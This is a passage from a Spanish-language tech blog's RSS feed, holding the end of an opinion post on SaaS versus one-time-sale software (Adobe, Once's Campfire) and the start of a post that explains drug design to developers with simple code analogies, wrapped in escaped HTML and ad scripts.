&lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Amortiguaban la variabilidad de las ventas. Ya no tenían que preocuparse por cambios bruscos en las ventas.&lt;/li&gt;&#xA;&lt;li&gt;Garantizaban un flujo de caja constante que les permitía planear mejor sus costos dada la estabilidad.&lt;/li&gt;&#xA;&lt;li&gt;El usuario era incapaz de usar versiones antiguas del software con costo cero.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ofrecer SAAS les  permitió a las empresas poner a disposición un producto o servicio al mercado con un modelo de negocio rentista y asegurarse de que si los clientes deseaban seguir usando un producto (o servicio) deberían pagar mes con mes u olvidarse de usarlo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-meme-saas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-meme-saas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esto afectaba principalmente a aquellas personas que actualizaban su software raramente. Pues si querían usarlo el siguiente mes, ahora debían de pagar.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/not-stonks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/not-stonks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sin embargo, al mismo tiempo, permitió a las empresas liberar nuevas versiones de su software de manera más frecuente e iterar con mayor velocidad sobre la información que les proporcionaban los usuarios para mejorar su producto, lo que les permitiría mejorar su producto y hacerlo más atractivo a los clientes.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Dicho lo anterior, quizás pienses que migrar a un modelo de SAAS volvía millonarias a las empresas, pero no sucedió así, al menos no para Adobe.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-stocks.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-stocks.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Adobe volvió obligatorio el pago mensual en 2017&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Adobe volvió obligatorio el pago mensual en 2017&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Aunque cabe resaltar que si las ganancias brutas no aumentaron radicalmente, su negocio de SAAS le permitió operar con un margen bruto del 93%. ¡Imagínate, 93%, el sueño más humedo de Jeff Bezos!&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-revenue-pricing-2014.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-revenue-pricing-2014.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Fuente: https://tomtunguz.com/adobe-saas-growth&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Fuente: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tomtunguz.com/adobe-saas-growth&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://tomtunguz.com/adobe-saas-growth&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;¿Fue un movimiento inteligente? Pues al menos lo parece, ya que lo han mantenido todos estos años, muchísimas empresas siguieron la tendencia junto con Adobe y adoptaron modelos de SAAS.&lt;/p&gt;&#xA;&lt;h3 id=&#34;saas-hell&#34;&gt;SAAS Hell&lt;/h3&gt;&#xA;&lt;p&gt;Conforme más empresas adoptaron el SAAS, pasamos a vivir en un mundo de CDs, DVDs y diskettes a otro con una larga lista de pagos mensuales por el software que usamos: netflix, slack, chatGPT, buffer, nuelink, X, Adobe, etc. Ofreciéndoles a las empresas unas ganancias recurrentes bastante convenientes y a nosotros una lista de cuentas por pagar cada mes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;once-y-el-regreso-de-ots&#34;&gt;Once y el regreso de OTS&lt;/h2&gt;&#xA;&lt;p&gt;Y justo en medio de este mar de SAAS aparece Once como una isla que ofrece refugio ante los embates de las compañias que quieren tenerte suscrito el mayor tiempo posible.&lt;/p&gt;&#xA;&lt;p&gt;Once es una compañia que planea ir en contra de la tendencia actual del SAAS. Once afirma que &lt;strong&gt;es injusto que los clientes tengan que pagar tanto dinero sin jamás llegar a poseer el producto&lt;/strong&gt;, similar al modelo rentista de propietario-arrendador, en donde el arrendador no va a poseer el bien inmueble, incluso aunque haya pagado una cantidad de dinero superior al bien del inmueble al propietario.&lt;/p&gt;&#xA;&lt;p&gt;En su manifiesto, Once, con la elocuencia del mejor político, promete &lt;strong&gt;un único pago por su software y acceso al código&lt;/strong&gt;, ondeando la bandera de una prometedora era post-SAAS.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/once-manifesto.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/once-manifesto.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;El manifiesto de la compañia Once que promete un pago único en sus productos&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;El manifiesto de la compañia Once que promete un pago único en sus productos&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sorprendemente, su promesa no se basa en palabras vacias; han desarrollado una aplicación similar a Slack, llamada &lt;strong&gt;campfire&lt;/strong&gt;, que promete reducir los costos de operación hasta en un 99.9% y que fue bastante bien recibida en X.&lt;/p&gt;&#xA;&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;&amp;quot;Just look at that 3-year TOC. Campfire running on Hetzner would cost you $479 for 500 users over three years ($299 + 36 * $5). Slack with the same number of seats would cost you $270,000!!! The ONCE solution is literally 99.9% cheaper. It’s crazy.&amp;quot; &lt;a href=&#34;https://t.co/4eZHS5Xz6s&#34;&gt;https://t.co/4eZHS5Xz6s&lt;/a&gt;&lt;/p&gt;&amp;mdash; DHH (@dhh) &lt;a href=&#34;https://x.com/dhh/status/1753131755346047307?ref_src=twsrc%5Etfw&#34;&gt;February 1, 2024&lt;/a&gt;&lt;/blockquote&gt;&#xA;&lt;script async src=&#34;https://platform.x.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;algunas-consideraciones-del-ots-y-saas&#34;&gt;Algunas consideraciones del OTS y SAAS&lt;/h2&gt;&#xA;&lt;p&gt;¿Qué ventajas le veo yo? Pues la más obvia, el dinero, pagar $299 USD es mucho mejor que pagar una suscripción recurrente de $7.25/usuario/mes por décadas. El precio es increíblemente barato para una empresa (aunque un poco más significativo para un individuo, por lo que me quedaré con las ganas de probarlo). Sumado a esto, la obvia ventaja de un control total sobre los datos, pues la base de datos estará completamente en poder de los clientes y, sorpresivamente, acceso al código, lo que les permite extenderlo e integrarlo con otros sistemas(siempre y cuando la licencia lo permita).&lt;/p&gt;&#xA;&lt;p&gt;¿Las desventajas? Debes estar seguro de que campfire no desaparecerá dejándote con un producto deprecado, sin soporte alguno. Eso sin contar con el aumento de responsabilidad, pues ahora tú serás el responsable de mantener funcionando la aplicación, ya sea directamente o contratando a otra persona, lo cual dependiendo del número de usuarios y la carga de trabajo puede o no ser rentable.&lt;/p&gt;&#xA;&lt;p&gt;Desde el punto de vista de Once, yo resaltaría que es desventajoso dotar del código fuente a tus clientes, pues te expones a que desarrollen productos competidores, pero no lo digo yo, algunas personas afirmaron en twitter que solo comprarían el producto para examinar el código y enfatizaron el mismo peligro potencial.&lt;/p&gt;&#xA;&lt;h2 id=&#34;no-todas-las-aplicaciones-pueden-volverse-ots&#34;&gt;No todas las aplicaciones pueden volverse OTS&lt;/h2&gt;&#xA;&lt;p&gt;¿Se volverá tendencia el OTS y regresaremos a como funcionaba la industria del software antes? Yo lo dudo mucho, algunos negocios dependen completamente del modelo de SAAS y suscripbciones para funcionar; por ejemplo ChatGPT, Midjourney, Deepl y otras aplicaciones, cuyo valor radica en que su modelo de IA no caiga en manos de un competidor, la renta de la propiedad intelectual y la premisa de que sus propuestas están a salvo de la ingeniería inversa. Para todas estas empresas un modelo de SAAS y suscripciones es crucial para sus operaciones.&lt;/p&gt;&#xA;&lt;p&gt;O considera el caso de Netflix, Hulu, HBO, disney plus, no esperabas que por una tarifa única te dejara descargar todo su catálogo de películas y series para siempre, ¿o si?&lt;/p&gt;&#xA;&lt;p&gt;Tampoco veo a Adobe dando marcha atrás a los cambios que hizo y volviendo a ofrecer OTS en sus productos.&lt;/p&gt;&#xA;&lt;p&gt;¿Y en el caso de startups? Yo no me atrevería a afirmar nada, quizás se vuelva una tendencia entre las nuevas startups ofrecer OTS en lugar de SAAS para monetizar rápidamente sus productos y servicios. Quizás me de una vuelta a esta entrada en un par de años y actualice lo que sucedió con esta promesa de un mundo nuevo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fuentes&#34;&gt;Fuentes&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.linkedin.com/pulse/why-adobe-shifted-subscription-model-travis-hardman&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why Adobe Shifted to a Subscription Model&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://once.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Manifiesto de Once&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tomtunguz.com/adobe-saas-growth&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Adobe SAAS Growth&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;No es un secreto que estos últimos días el software, en general, tiende hacia un modelo de negocio SAAS. Sin embargo si estuviste ahí cuando fueron escritas las sagradas escrituras del internet, sabrás que esta tendencia es más bien reciente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ots-y-software-como-producto-fisico&#34;&gt;OTS y software como producto físico&lt;/h2&gt;&#xA;&lt;p&gt;Cuando internet comenzó a ser usado, era una práctica común vender el software como si fuera un producto cualquiera del supermercado; realizabas un único pago y el producto era tuyo, te pertenencía totalmente y eras libre de usarlo hasta el colapso inevitable de nuestra sociedad moderna.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Inteligencia Artificial Y Diseño De Farmacos Y Medicamentos para desarrolladores</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/</link>
      <pubDate>Fri, 29 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/</guid>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los usos de la inteligencia artificial van más allá de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/&#34;&gt;resolver problemas de código&lt;/a&gt;&#xA;, e independientemente de si esta &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;inteligencia artificial es consciente o no&lt;/a&gt;&#xA;, tiene un sin fin de aplicaciones. Una de las aplicaciones más interesantes para la inteligencia artificial es el desarrollo de nuevos fármacos. Llevar un nuevo fármaco al mercado es un proceso arduo, costoso y que, en la mayoría de los casos, es infructuoso. La inteligencia artificial puede acelerar el proceso enormemente y reducir los candidatos a nuevos fármacos a unos cuantos, en lugar de a decenas de ellos.&lt;/p&gt;&#xA;&lt;p&gt;Para este post voy a tomarme algunas libertades y voy a simplificar conceptos y a sacrificar algo (o mucho) de precisión en aras de un mejor entendimiento. Si tienes dudas sobre quien soy yo para hablar de estos temas, y sobre mis credenciales, siéntete libre de pedírmelas en redes sociales.&lt;/p&gt;&#xA;&lt;p&gt;Primero voy a explicarte brevemente las bases del funcionamiento de un fármaco.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-un-farmaco-en-humanos-explicado-para-desarrolladores&#34;&gt;¿Cómo funciona un fármaco en humanos explicado para desarrolladores?&lt;/h2&gt;&#xA;&lt;p&gt;Cuando tú ingieres un fármaco por vía oral, este ingresa a tu sistema digestivo, es absorbido por este y transportado a tu sangre. Una vez en sangre, el sistema circulatorio se encarga de distribuirlo a todo el cuerpo. La sangre tiene contacto con todas tus células. Cuando el fármaco alcanza a las células correctas, se une a unos receptores celulares, los cuales disparan una función normal de la célula; ya sea liberar insulina al cuerpo, bloquear la secreción de alguna hormona.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/images/Receptor_%28Biochemistry&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/images/Receptor_%28Biochemistry&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Representación de un receptor celular. La parte azul y amarillo representa la membrana de una célula. By Wyatt Pyzynski - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=69535544&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A nivel código, puedes pensar en un fármaco como una función que llama a otra función que ya existe en el cuerpo humano:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; releaseInsulin(){}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; administerDrug(drug){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  releaseInsulin()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;como-sabe-el-farmaco-sobre-que-celulas-debe-actuar&#34;&gt;¿Cómo sabe el fármaco sobre que células debe actuar?&lt;/h3&gt;&#xA;&lt;p&gt;La relación entre un fármaco y un receptor celular sigue un mecanismo similar al de llave-cerradura, donde el fármaco (la llave) únicamente va a activar las funciones de aquellas celúlas que tengan un receptor (la cerradura) que &amp;ldquo;encaje&amp;rdquo; con el fármaco.&lt;/p&gt;&#xA;&lt;p&gt;Si encajan o no, depende de la estructura tridimensional de la molécula y del receptor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; releaseInsulin(){}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; administerDrug(drug){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(isReceptorCompatible(cell, drug)){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    releaseInsulin()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y no solo eso, un fármaco puede encajar parcialmente en un receptor, lo cual puede provocar un efecto con menor intensidad que si lo hiciera perfectamente, y además, el no encajar perfectamente podría hacerlo activar otros receptores que desencadenarían efectos secundarios indeseados.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/paracetamol_key_lock.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/paracetamol_key_lock.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Mira como la molécula encaja perfectamente en este receptor&#34; width=&#34;960&#34; height=&#34;927&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Mira como la molécula encaja perfectamente en este receptor&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;los-farmacos-tienen-efectos-secundarios-indeseables&#34;&gt;Los fármacos tienen efectos secundarios indeseables&lt;/h3&gt;&#xA;&lt;p&gt;Administrar un fármaco no es tan simple como un &amp;ldquo;A&amp;rdquo; produce &amp;ldquo;B&amp;rdquo;. Un fármaco no suele tener un solo efecto, sino múltiples. Existen incluso fármacos que tienen como efecto secundario la posibilidad de muerte súbita, sí, así como lo estás leyendo, lo tomas y existe una posibilidad (ínfima, eso sí) de que caigas muerto.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Un fármaco óptimo va a provocar el efecto deseado con un mínimo de efectos secundarios, tanto a corto como a largo plazo.&lt;/p&gt;&#xA;&lt;div 